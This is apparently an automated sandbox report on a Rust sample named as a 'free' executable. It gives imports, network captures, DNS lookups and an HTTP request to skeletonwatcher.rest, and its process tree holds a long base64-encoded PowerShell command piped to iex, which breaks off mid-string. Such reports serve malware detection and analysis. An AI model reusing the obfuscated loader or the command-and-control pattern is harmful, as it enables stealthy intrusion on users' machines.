LoadLibraryW, GetProcAddress, SetEnvironmentVariableW, CreateToolhelp32Snapshot, Process32First, Process32Next, SetFileTime, PostQueuedCompletionStatus, GetQueuedCompletionStatusEx, SetFileCompletionNotificationModes, CancelIoEx, WriteFile, GetOverlappedResult, CreateIoCompletionPort, SetHandleInformation, WaitForSingleObjectEx, CreateFileW, CreateSemaphoreW, ReadDirectoryChangesW, ReleaseSemaphore, CancelIo, GetSystemInfo, SetFileInformationByHandle, GetConsoleCursorInfo, SetConsoleCursorInfo, ReadConsoleInputW, FillConsoleOutputCharacterA, FillConsoleOutputAttribute, GetFileInformationByHandle, TlsGetValue, TlsSetValue, DeleteCriticalSection, GetModuleHandleW, SetLastError, GetEnvironmentVariableW, WriteConsoleW, InitializeCriticalSection, GetCurrentProcess, GetCurrentThread, RtlCaptureContext, GetCurrentDirectoryW, LoadLibraryA, CreateMutexA, RtlLookupFunctionEntry, TlsAlloc, FormatMessageW, GetTempPathW, GetModuleFileNameW, FlushFileBuffers, DuplicateHandle, SetFilePointerEx, FindNextFileW, CreateDirectoryW, ReadConsoleW, TryEnterCriticalSection, FindFirstFileW, CreateProcessW, CreateNamedPipeW, CreateEventW, WaitForMultipleObjects, ExitProcess, QueryPerformanceCounter, QueryPerformanceFrequency, GetSystemTimeAsFileTime, FindClose, DeleteFileW, MoveFileExW, RemoveDirectoryW, RtlUnwind, CopyFileExW, CreateThread, GetFinalPathNameByHandleW, UnregisterWaitEx, SetConsoleTextAttribute, GetSystemTimes, GlobalMemoryStatusEx, GetVersionExA, RtlVirtualUnwind, GetTimeZoneInformation, WideCharToMultiByte, GetThreadTimes, GetCurrentThreadId, DeleteFileA, GetTempPathA, GetTempFileNameA, GetFileType, OutputDebugStringA, VerSetConditionMask, VerifyVersionInfoW, VirtualAlloc, VirtualFree, IsDebuggerPresent, TlsFree, QueryThreadCycleTime, GetThreadPriority, SetThreadPriority, AcquireSRWLockExclusive, ReleaseSRWLockExclusive, TryAcquireSRWLockExclusive, AcquireSRWLockShared, ReleaseSRWLockShared, VirtualProtect, RtlAddFunctionTable, RtlDeleteFunctionTable, LoadLibraryExW, WakeConditionVariable, WakeAllConditionVariable, SleepConditionVariableSRW, InitOnceExecuteOnce, SetUnhandledExceptionFilter, RtlCaptureStackBackTrace, GetNativeSystemInfo, InitializeConditionVariable, OpenThread, SuspendThread, GetThreadContext, ResumeThread, CreateSemaphoreA, GetCPInfo, FindFirstFileExW, SetStdHandle, SetEndOfFile, ReleaseMutex, SetFileAttributesW, FreeLibraryAndExitThread, ExitThread, GetModuleHandleExW, EncodePointer, RtlUnwindEx, RaiseException, RtlPcToFileHeader, IsProcessorFeaturePresent, GetStartupInfoW, UnhandledExceptionFilter, InitializeSListHead, ResetEvent, SetEvent, InitializeCriticalSectionAndSpinCount
ADVAPI32.dll	RegQueryValueExW, RegOpenKeyExW, SystemFunction036, RegCloseKey
dbghelp.dll	SymInitialize, SymGetSearchPathW, SymSetSearchPathW, SymGetModuleBase64, SymFunctionTableAccess64, SymSetOptions, SymFromAddr, SymGetLineFromAddr64, StackWalk64
ole32.dll	CoTaskMemFree
SHELL32.dll	SHGetKnownFolderPath
WINMM.dll	timeGetTime

Exports

Name	Ordinal	Address
CrashForExceptionInNonABICompliantCodeRange	1	0x140bd31a0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 09:06:34.104410887 CET	49764	443	192.168.2.7	185.199.109.133
Jan 2, 2025 09:06:34.104444981 CET	443	49764	185.199.109.133	192.168.2.7
Jan 2, 2025 09:06:34.104526043 CET	49764	443	192.168.2.7	185.199.109.133
Jan 2, 2025 09:06:34.104836941 CET	49764	443	192.168.2.7	185.199.109.133
Jan 2, 2025 09:06:34.104850054 CET	443	49764	185.199.109.133	192.168.2.7
Jan 2, 2025 09:06:34.583213091 CET	443	49764	185.199.109.133	192.168.2.7
Jan 2, 2025 09:06:34.583708048 CET	49764	443	192.168.2.7	185.199.109.133
Jan 2, 2025 09:06:34.583724976 CET	443	49764	185.199.109.133	192.168.2.7
Jan 2, 2025 09:06:34.583822966 CET	49764	443	192.168.2.7	185.199.109.133
Jan 2, 2025 09:06:34.583837032 CET	443	49764	185.199.109.133	192.168.2.7
Jan 2, 2025 09:06:34.584887981 CET	443	49764	185.199.109.133	192.168.2.7
Jan 2, 2025 09:06:34.584983110 CET	49764	443	192.168.2.7	185.199.109.133
Jan 2, 2025 09:06:34.585390091 CET	49764	443	192.168.2.7	185.199.109.133
Jan 2, 2025 09:06:34.585390091 CET	49764	443	192.168.2.7	185.199.109.133
Jan 2, 2025 09:06:34.585542917 CET	443	49764	185.199.109.133	192.168.2.7
Jan 2, 2025 09:06:34.585700989 CET	49764	443	192.168.2.7	185.199.109.133
Jan 2, 2025 09:06:50.824626923 CET	49869	80	192.168.2.7	188.114.97.3
Jan 2, 2025 09:06:50.829415083 CET	80	49869	188.114.97.3	192.168.2.7
Jan 2, 2025 09:06:50.829483986 CET	49869	80	192.168.2.7	188.114.97.3
Jan 2, 2025 09:06:50.829688072 CET	49869	80	192.168.2.7	188.114.97.3
Jan 2, 2025 09:06:50.834445953 CET	80	49869	188.114.97.3	192.168.2.7
Jan 2, 2025 09:06:51.288203001 CET	80	49869	188.114.97.3	192.168.2.7
Jan 2, 2025 09:06:51.288228989 CET	80	49869	188.114.97.3	192.168.2.7
Jan 2, 2025 09:06:51.288239002 CET	80	49869	188.114.97.3	192.168.2.7
Jan 2, 2025 09:06:51.288271904 CET	49869	80	192.168.2.7	188.114.97.3
Jan 2, 2025 09:06:51.330733061 CET	49869	80	192.168.2.7	188.114.97.3
Jan 2, 2025 09:06:52.548399925 CET	49869	80	192.168.2.7	188.114.97.3
Jan 2, 2025 09:06:52.553363085 CET	80	49869	188.114.97.3	192.168.2.7
Jan 2, 2025 09:06:52.553421021 CET	49869	80	192.168.2.7	188.114.97.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 09:06:34.094623089 CET	59927	53	192.168.2.7	1.1.1.1
Jan 2, 2025 09:06:34.101393938 CET	53	59927	1.1.1.1	192.168.2.7
Jan 2, 2025 09:06:50.799674034 CET	54598	53	192.168.2.7	1.1.1.1
Jan 2, 2025 09:06:50.823831081 CET	53	54598	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 2, 2025 09:06:34.094623089 CET	192.168.2.7	1.1.1.1	0x67f5	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Jan 2, 2025 09:06:50.799674034 CET	192.168.2.7	1.1.1.1	0x3d0f	Standard query (0)	skeletonwatcher.rest	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 2, 2025 09:06:30.398837090 CET	1.1.1.1	192.168.2.7	0xbf8b	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 2, 2025 09:06:30.398837090 CET	1.1.1.1	192.168.2.7	0xbf8b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 2, 2025 09:06:30.398837090 CET	1.1.1.1	192.168.2.7	0xbf8b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.26	A (IP address)	IN (0x0001)	false
Jan 2, 2025 09:06:30.398837090 CET	1.1.1.1	192.168.2.7	0xbf8b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.20	A (IP address)	IN (0x0001)	false
Jan 2, 2025 09:06:30.398837090 CET	1.1.1.1	192.168.2.7	0xbf8b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.34	A (IP address)	IN (0x0001)	false
Jan 2, 2025 09:06:30.398837090 CET	1.1.1.1	192.168.2.7	0xbf8b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.38	A (IP address)	IN (0x0001)	false
Jan 2, 2025 09:06:30.398837090 CET	1.1.1.1	192.168.2.7	0xbf8b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.19	A (IP address)	IN (0x0001)	false
Jan 2, 2025 09:06:30.398837090 CET	1.1.1.1	192.168.2.7	0xbf8b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.37	A (IP address)	IN (0x0001)	false
Jan 2, 2025 09:06:30.398837090 CET	1.1.1.1	192.168.2.7	0xbf8b	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.38	A (IP address)	IN (0x0001)	false
Jan 2, 2025 09:06:34.101393938 CET	1.1.1.1	192.168.2.7	0x67f5	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Jan 2, 2025 09:06:34.101393938 CET	1.1.1.1	192.168.2.7	0x67f5	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Jan 2, 2025 09:06:34.101393938 CET	1.1.1.1	192.168.2.7	0x67f5	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Jan 2, 2025 09:06:34.101393938 CET	1.1.1.1	192.168.2.7	0x67f5	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Jan 2, 2025 09:06:50.823831081 CET	1.1.1.1	192.168.2.7	0x3d0f	No error (0)	skeletonwatcher.rest		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 2, 2025 09:06:50.823831081 CET	1.1.1.1	192.168.2.7	0x3d0f	No error (0)	skeletonwatcher.rest		188.114.96.3	A (IP address)	IN (0x0001)	false
Jan 2, 2025 09:07:30.864952087 CET	1.1.1.1	192.168.2.7	0xae90	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 2, 2025 09:07:30.864952087 CET	1.1.1.1	192.168.2.7	0xae90	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

skeletonwatcher.rest

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49869	188.114.97.3	80	6732	C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 09:06:50.829688072 CET	122	OUT	GET /api/get/free HTTP/1.1 accept: / user-agent: Deno/1.6.3 accept-encoding: gzip, br host: skeletonwatcher.rest
Jan 2, 2025 09:06:51.288203001 CET	1236	IN	HTTP/1.1 403 Forbidden Date: Thu, 02 Jan 2025 08:06:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Thu, 02 Jan 2025 08:07:06 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QXmR29NQ6%2BHy97j78bTEU2vXKLPNP6aaiy9iaPkNCr16vPDren%2F62NYLIM74610DSeby0SQH4b75%2BycVOjmM%2BFbtL0c%2Fl3HVyIluw57MppcizvolqGP%2Be1q3pRe4umBLP5csqRCQnQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 8fb9408a3bb615bb-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1652&min_rtt=1652&rtt_var=826&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=122&delivery_rate=0&cwnd=111&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 36 63 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 58 7f 6f dc b8 11 fd 7f 3f c5 58 05 ec 5d c0 94 bc 49 2e e7 d8 5a 15 d7 c4 05 0c a4 b8 dc c5 41 1b 1c 02 83 22 47 2b 9e 29 52 25 a9 95 17 ae bf fb 81 a2 b4 d6 fe b0 af 41 0b 18 b0 28 0e df 0c df bc 19 91 9b 1e 7d f8 f9 fd cd d7 4f 57 50 ba 4a 66 93 f4 88 90 df 44 01 d2 c1 f5 15 fc f8 2d 83 d4 4f 00 93 d4 da 45 a4 34 f9 dd 82 c0 b7 a0 25 17 18 81 a4 6a b9 88 50 91 2f 9f a3 0c d2 a3 df 50 71 51 7c 23 e4 09 aa c7 01 38 0c f5 e3 f7 41 9d bf 00 75 fe 1d 50 4b d7 a3 f9 17 87 76 b9 8f 42 c8 36 52 89 94 67 93 d4 09 27 31 fb c9 39 54 4e 68 05 bf e2 bf 1b 61 90 1f c1 7f e0 bd d4 0d 2f 24 35 98 26 c1 6e 92 56 e8 28 b0 92 1a 8b 6e 11 7d b9 f9 3b 39 8f 20 19 26 4a e7 6a e2 11 56 8b e8 bd 56 1e 94 dc ac 6b 8c 80 85 d1 22 72 78 ef 12 1f ef e5 06 e6 25 94 7f 91 2f 3f 91 f7 ba aa a9 13 b9 1c 03 5d 5f 2d ae f8 12 Data Ascii: 6cdXo?X]I.ZA"G+)R%A(}OWPJfD-OE4%jP/PqQ\|#8AuPKvB6Rg'19TNha/$5&nV(n};9 &JjVVk"rx%/?]_-
Jan 2, 2025 09:06:51.288228989 CET	1236	IN	Data Raw: 47 eb 14 ad 70 11 19 9d 6b 67 47 86 4a 0b c5 f1 fe 14 94 2e b4 94 ba dd 5b b2 12 d8 d6 da b8 d1 a2 56 70 57 2e 38 ae 04 43 d2 0d 4e 85 12 4e 50 49 2c a3 12 17 f3 80 22 85 ba 03 83 72 11 59 b7 96 68 4b 44 17 81 e0 8b 88 15 b7 e1 15 61 d6 46 50 1a Data Ascii: GpkgGJ.[VpW.8CNNPI,"rYhKDaFP,Q"l)0"Fcqgjy'O.z/'Eh[ak~YuqvYSZ^=(LFD$eQHXRMxh.aK6_P:Th'~Gr'P4uV@,a\B
Jan 2, 2025 09:06:51.288239002 CET	232	IN	Data Raw: c3 fd 7d 5f 61 92 2a df 92 03 3f b9 a1 8a df fa 0b 45 04 8e 9a a5 bf c3 dd e6 92 aa bb b1 70 d3 84 6e 89 cf d7 46 e8 03 c3 21 7f 3a 1c c9 a7 b3 87 cd e9 9c 4f 67 0f fe 58 9e 2f e8 ee 31 fc 80 ee 66 a7 ec 65 bb 8d 5a 66 97 f9 f1 71 d4 51 ec af 09 Data Ascii: }_a?EpnF!:OgX/1feZfqQPOx6XN-N"b^T(t6?\|9h@rs;tl:DvknCpGvcG[OM$$2c50

Target ID:	0
Start time:	03:06:14
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe"
Imagebase:	0x7ff7f41b0000
File size:	34'433'319 bytes
MD5 hash:	EDE0A1C97EAA446541DCFCCD6FA9A6A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Rust
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:06:14
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:06:17
Start date:	02/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAUQAwAEsASQBDAEEAZwBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGwATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAEoARwBoAFgAYgBtAFEAcwBJAEQAQQBwAEQAUQBwADkARABRAG8AawBZADMAVgB5AGMAbQBWAHUAZABGAGQAcABiAG0AUgB2AGQAMQBSAHAAZABHAHgAbABJAEQAMABnAFIAMgBWADAAUQBXAE4AMABhAFgAWgBsAFYAMgBsAHUAWgBHADkAMwBWAEcAbAAwAGIARwBVAE4AQwBrAGgAcABaAEcAVgBCAFkAMwBSAHAAZABtAFYAWABhAFcANQBrAGIAMwBjAE4AQwBnAD0APQAiAH0AJwAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuACkALgBTAGMAcgBpAHAAdAApACkAIAB8ACAAaQBlAHgA
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:06:19
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5fgy3psv\5fgy3psv.cmdline"
Imagebase:	0x7ff604380000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:06:20
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESDB22.tmp" "c:\Users\user\AppData\Local\Temp\5fgy3psv\CSC49606E82A61741509EEE37EB8248328C.TMP"
Imagebase:	0x7ff7784c0000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:06:33
Start date:	02/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAUQAwAEsASQBDAEE